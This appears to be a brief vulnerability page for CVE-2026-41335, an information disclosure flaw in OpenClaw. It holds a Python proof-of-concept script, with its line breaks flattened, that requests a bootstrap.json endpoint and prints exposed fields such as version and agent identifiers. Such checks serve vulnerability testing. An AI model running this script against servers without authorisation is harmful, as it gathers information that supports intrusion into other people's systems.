CVE-2026-41335 OpenClaw信息泄露漏洞

import requests import json # POC for CVE-2026-41335: OpenClaw Information Disclosure # This script checks if the target exposes sensitive bootstrap info target_url = "http://target-openclaw-server/api/bootstrap.json" # Example endpoint try: response = requests.get(target_url, timeout=10) if response.status_code == 200: data = response.json() # Check for sensitive keys usually exposed in this vulnerability sensitive_fields = ['version', 'agent_id', 'assistant_identifier'] found_info = {k: data[k] for k in sensitive_fields if k in data} if found_info: print("[+] Potential Vulnerability Detected!") print(json.dumps(found_info, indent=2)) else: print("[-] Sensitive information not found in the response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")